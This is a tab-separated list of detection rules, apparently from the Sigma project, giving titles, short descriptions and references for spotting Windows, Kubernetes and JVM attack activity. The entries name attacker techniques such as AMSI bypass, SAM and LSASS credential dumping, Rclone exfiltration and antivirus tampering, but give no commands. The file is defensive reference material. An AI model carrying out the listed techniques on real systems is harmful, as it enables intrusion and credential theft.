Excel Proxy Executing Regsvr32 With Payload Alternate	Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes.	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
Office Applications Spawning Wmi Cli Alternate	Initial execution of malicious document calls wmic to execute the file with regsvr32	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
Possible Applocker Bypass	Detects execution of executables that can be used to bypass Applocker whitelisting	https://github.com/carnal0wnage/ApplicationWhitelistBypassTechniques/blob/b348846a3bd2ff45e3616d63a4c2b4426f84772c/TheList.txt, https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1127.001/T1127.001.md
PowerShell AMSI Bypass Pattern	Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.	https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
Base64 Encoded Listing of Shadowcopy	Detects base64 encoded listing Win32_Shadowcopy	https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
Malicious Base64 Encoded Powershell Invoke Cmdlets	Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets	https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
Potential PowerShell Base64 Encoded Shellcode	Detects potential powershell Base64 encoded Shellcode	https://twitter.com/cyb3rops/status/1063072865992523776
Suspicious Bitsadmin Job via PowerShell	Detect download by BITS jobs via PowerShell	https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
Stop Or Remove Antivirus Service	Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services. Adversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
Potential Xor Encoded PowerShell Command	Detects usage of "xor" or "bxor" in combination of a "foreach" loop. This pattern is often found in encoded powershell code and commands as a way to avoid detection	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65
Regsvr32 Anomaly	Detects various anomalies in relation to regsvr32.exe	https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html, https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
Registry Dump of SAM Creds and Secrets	Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets
Renamed PaExec Execution	Detects execution of renamed paexec via imphash and executable product string	sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc, https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
Renamed PsExec	Detects the execution of a renamed PsExec often used by attackers or malware	https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks
Renamed PowerShell	Detects the execution of a renamed PowerShell often used by attackers or malware	https://twitter.com/christophetd/status/1164506034720952320
Renamed Rundll32.exe Execution	Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection	https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/
Root Certificate Installed	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
Rundll32 JS RunHTMLApplication Pattern	Detects suspicious command line patterns used when rundll32 is used to run JavaScript code	http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt, https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
Suspicious Rundll32 Script in CommandLine	Detects suspicious process related to rundll32 based on arguments	https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52, https://github.com/redcanaryco/atomic-red-team/blob/cd3690b100a495885c407282d0c94c85f48a8a2e/atomics/T1218.011/T1218.011.md
Run from a Zip File	Payloads may be compressed, archived, or encrypted in order to avoid detection	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file
Suspicious Add Scheduled Task From User AppData Temp	schtasks.exe create task from user AppData\Local\Temp	malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04
Suspicious Execution of Sc to Delete AV Services	Detects when attackers use "sc.exe" to delete AV services from the system in order to avoid detection	https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
Stop Windows Service	Detects a Windows service to be stopped	None
Suspicious Bitstransfer via PowerShell	Detects transferring files from system on a server bitstransfer Powershell cmdlets	https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps
Suspicious Cmd Execution via WMI	Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.	https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html
Suspicious Characters in CommandLine	Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion	https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
Wscript Execution from Non C Drive	Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.	https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt, https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/
Process Start From Suspicious Folder	Detects process start from rare or uncommon folders like temporary folder or folders that usually don't contain executable files	Malware sandbox results
Squirrel Lolbin	Detects Possible Squirrel Packages Manager as Lolbin	http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/, http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
PsExec Tool Execution	Detects PsExec service execution via default service image name	https://www.jpcert.or.jp/english/pub/sr/ir_research.html, https://jpcertcc.github.io/ToolAnalysisResultSheet
PsExec Service Start	Detects a PsExec service start	None
Run Whoami as SYSTEM	Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
Winword.exe Loads Suspicious DLL	Detects Winword.exe loading a custom DLL using the /l flag	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/
WMI Execution Via Office Process	Initial execution of malicious document calls wmic to execute the file with regsvr32	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
WMI Remote Command Execution	An adversary might use WMI to execute commands on a remote system	https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/, https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
WMI Reconnaissance List Remote Services	An adversary might use WMI to check if a certain Remote Service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md, https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
Windows Update Client LOLBIN	Detects code execution via the Windows Update client (wuauclt)	https://dtm.uk/wuauclt/
Sysinternals SDelete Registry Keys	A General detection to trigger for the creation or modification of .*\Software\Sysinternals\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.	https://github.com/OTRF/detection-hackathon-apt29/issues/9, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.md
Autorun Keys Modification	Detects modification of autostart extensibility point (ASEP) in registry.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md, https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns, https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
Abusing Windows Telemetry For Persistence - Registry	Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.	https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/
User Account Hidden By Registry	Detect modification for a specific user to prevent that user from being listed on the logon screen	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md
Service Binary in Uncommon Folder	Detect the creation of a service with a service binary located in a uncommon directory	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
Disable Microsoft Office Security Features	Disable Microsoft Office Security Features by registry	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/, https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/
Adwind RAT / JRAT - Registry	Detects javaw.exe in AppData folder as used by Adwind / JRAT	https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100, https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf
Office Security Settings Changed	Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)	https://twitter.com/inversecos/status/1494174785621819397, https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/, https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
Potential Persistence Via COM Hijacking From Suspicious Locations	Detects potential COM object hijacking where the "Server" (In/Out) is pointing to a suspicious or unusual location.	https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)
Potential Persistence Via COM Search Order Hijacking	Detects potential COM object hijacking leveraging the COM Search Order	https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/
SilentProcessExit Monitor Registration	Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process	https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/, https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
Accessing WinAPI in PowerShell for Credentials Dumping	Detects Accessing to lsass.exe by Powershell	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon	Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.	https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
Mimikatz Detection LSASS Access	Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCESS_QUERY_ INFORMATION "only old versions", 0x0010 PROCESS_VM_READ)	https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow, https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html
PowerShell Execution	Detects execution of PowerShell	https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html
RClone Execution	Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware, https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a, https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone, https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html
Windows Defender Threat Detection Disabled	Detects disabling Windows Defender threat protection	https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
Domain Trust Discovery	Detects a discovery of domain trusts.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1482/T1482.md
Lateral Movement Indicator ConDrv	This event was observed on the target host during lateral movement. The process name within the event contains the process spawned post compromise. Account Name within the event contains the compromised user account name. This event should to be correlated with 4624 and 4688 for further intrusion context.	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/wmiexec-vbs.htm, https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html
Security Event Log Cleared	Checks for event id 1102 which indicates the security event log was cleared.	https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml
Group Modification Logging	Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges. Sigma detects Event ID 4728 indicates a "Member is added to a Security Group". Event ID 4729 indicates a "Member is removed from a Security enabled-group". Event ID 4730 indicates a "Security Group is deleted". The case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634
Suspicious Esentutl Use	Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance.	https://lolbas-project.github.io/, https://twitter.com/chadtilbury/status/1264226341408452610
Correct Execution of Nltest.exe	The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm, https://attack.mitre.org/software/S0359/
Rclone Execution via Command Line or PowerShell	Detects Rclone which is commonly used by ransomware groups for exfiltration	https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
Activity Related to NTDS.dit Domain Hash Retrieval	Detects suspicious commands that could be related to activity that uses volume shadow copy to steal and retrieve hashes from the NTDS.dit file remotely	https://www.swordshield.com/2015/07/getting-hashes-from-ntds-dit-file/, https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/, https://www.trustwave.com/Resources/SpiderLabs-Blog/Tutorial-for-NTDS-goodness-(VSSADMIN,-WMIS,-NTDS-dit,-SYSTEM)/, https://securingtomorrow.mcafee.com/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/, https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
New Service Uses Double Ampersand in Path	Detects a service installation that uses a suspicious double ampersand used in the image path value	Internal Research
SAM Dump to AppData	Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers	None
Django Framework Exceptions	Detects suspicious Django web application framework exceptions that could indicate exploitation attempts	https://docs.djangoproject.com/en/1.11/ref/exceptions/, https://docs.djangoproject.com/en/1.11/topics/logging/#django-security
Potential JNDI Injection Exploitation In JVM Based Application	Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.	https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs, https://secariolabs.com/research/analysing-and-reproducing-poc-for-log4j-2-15-0
Potential Local File Read Vulnerability In JVM Based Application	Detects potential local file read vulnerability in JVM based apps. If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.	https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
Potential OGNL Injection Exploitation In JVM Based Application	Detects potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)	https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
Kubernetes CronJob/Job Modification	Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.	https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/, https://www.redhat.com/en/blog/protecting-kubernetes-against-mitre-attck-persistence#technique-33-kubernetes-cronjob
Process Execution Error In JVM Based Application	Detects process execution related exceptions in JVM based apps, often relates to RCE	https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
Potential XXE Exploitation Attempt In JVM Based Application	Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.	https://rules.sonarsource.com/java/RSPEC-2755, https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing, https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
Kubernetes Admission Controller Modification	Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.	https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/, https://security.padok.fr/en/blog/kubernetes-webhook-attackers
Deployment Deleted From Kubernetes Cluster	Detects the removal of a deployment from a Kubernetes cluster. This could indicate disruptive activity aiming to impact business operations.	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Data%20destruction/
Kubernetes Events Deleted	Detects when events are deleted in Kubernetes. An adversary may delete Kubernetes events in an attempt to evade detection.	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Delete%20K8S%20events/
Potential Remote Command Execution In Pod Container	Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Exec%20into%20container/
Container With A hostPath Mount Created	Detects creation of a container with a hostPath mount. A hostPath volume mounts a directory or a file from the node to the container. Attackers who have permissions to create a new pod in the cluster may create one with a writable hostPath volume and chroot to escape to the underlying node.	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Writable%20hostPath%20mount/, https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
Privileged Container Deployed	Detects the creation of a "privileged" container, an action which could be indicative of a threat actor mounting a container breakout attacks. A privileged container is a container that can access the host with all of the root capabilities of the host machine. This allows it to view, interact and modify processes, network operations, IPC calls, the file system, mount points, SELinux configurations etc. as the root user on the host. Various versions of "privileged" containers can be specified, e.g. by setting the securityContext.privileged flag in the resource specification, setting non-standard Linux capabilities, or configuring the hostNetwork/hostPID fields	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Privileged%20container/, https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html#privilegeescalation-kubernetes-privilegedcontainer, https://www.elastic.co/guide/en/security/current/kubernetes-pod-created-with-hostnetwork.html, https://www.elastic.co/guide/en/security/current/kubernetes-container-created-with-excessive-linux-capabilities.html
Creation Of Pod In System Namespace	Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names. Attackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection. Deployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers.	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Pod%20or%20container%20name%20similarily/
RBAC Permission Enumeration Attempt	Detects identities attempting to enumerate their Kubernetes RBAC permissions. In the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment. In a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a "kubectl auth can-i --list" command. This will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization.	https://www.elastic.co/guide/en/security/current/kubernetes-suspicious-self-subject-review.html
Kubernetes Rolebinding Modification	Detects when a Kubernetes Rolebinding is created or modified.	https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/, https://medium.com/@seifeddinerajhi/kubernetes-rbac-privilege-escalation-exploits-and-mitigations-26c07629eeab
Kubernetes Secrets Enumeration	Detects enumeration of Kubernetes secrets.	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/List%20K8S%20secrets/
Kubernetes Secrets Modified or Deleted	Detects when Kubernetes Secrets are Modified or Deleted.	https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/, https://commandk.dev/blog/guide-to-audit-k8s-secrets-for-compliance/
New Kubernetes Service Account Created	Detects creation of new Kubernetes service account, which could indicate an attacker's attempt to persist within a cluster.	https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/container%20service%20account/
Potential Sidecar Injection Into Running Deployment	Detects attempts to inject a sidecar container into a running deployment. A sidecar container is an additional container within a pod, that resides alongside the main container. One way to add containers to running resources like Deployments/DeamonSets/StatefulSets, is via a "kubectl patch" operation. By injecting a new container within a legitimate pod, an attacker can run their code and hide their activity, instead of running their own separated pod in the cluster.	https://kubernetes.io/docs/tasks/manage-kubernetes-objects/update-api-object-kubectl-patch, https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Sidecar%20Injection/
Kubernetes Unauthorized or Unauthenticated Access	Detects when a request to the Kubernetes API is rejected due to lack of authorization or due to an expired authentication token being used. This may indicate an attacker attempting to leverage credentials they have obtained.	https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/, https://www.datadoghq.com/blog/monitor-kubernetes-audit-logs/#monitor-api-authentication-issues
Potential RCE Exploitation Attempt In NodeJS	Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.	https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
OpenCanary - FTP Login Attempt	Detects instances where an FTP service on an OpenCanary node has had a login attempt.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - GIT Clone Request	Detects instances where a GIT service on an OpenCanary node has had Git Clone request.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - HTTPPROXY Login Attempt	Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - HTTP GET Request	Detects instances where an HTTP service on an OpenCanary node has received a GET request.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - HTTP POST Login Attempt	Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - MSSQL Login Attempt Via SQLAuth	Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - MSSQL Login Attempt Via Windows Authentication	Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - MySQL Login Attempt	Detects instances where a MySQL service on an OpenCanary node has had a login attempt.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - NTP Monlist Request	Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - REDIS Action Command Attempt	Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - SIP Request	Detects instances where an SIP service on an OpenCanary node has had a SIP request.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - SMB File Open Request	Detects instances where an SMB service on an OpenCanary node has had a file open request.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - SNMP OID Request	Detects instances where an SNMP service on an OpenCanary node has had an OID request.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - SSH Login Attempt	Detects instances where an SSH service on an OpenCanary node has had a login attempt.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - SSH New Connection Attempt	Detects instances where an SSH service on an OpenCanary node has had a connection attempt.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - Telnet Login Attempt	Detects instances where a Telnet service on an OpenCanary node has had a login attempt.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - TFTP Request	Detects instances where a TFTP service on an OpenCanary node has had a request.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
OpenCanary - VNC Connection Attempt	Detects instances where a VNC service on an OpenCanary node has had a connection attempt.	https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration, https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
Python SQL Exceptions	Generic rule for SQL exceptions in Python according to PEP 249	https://www.python.org/dev/peps/pep-0249/#exceptions
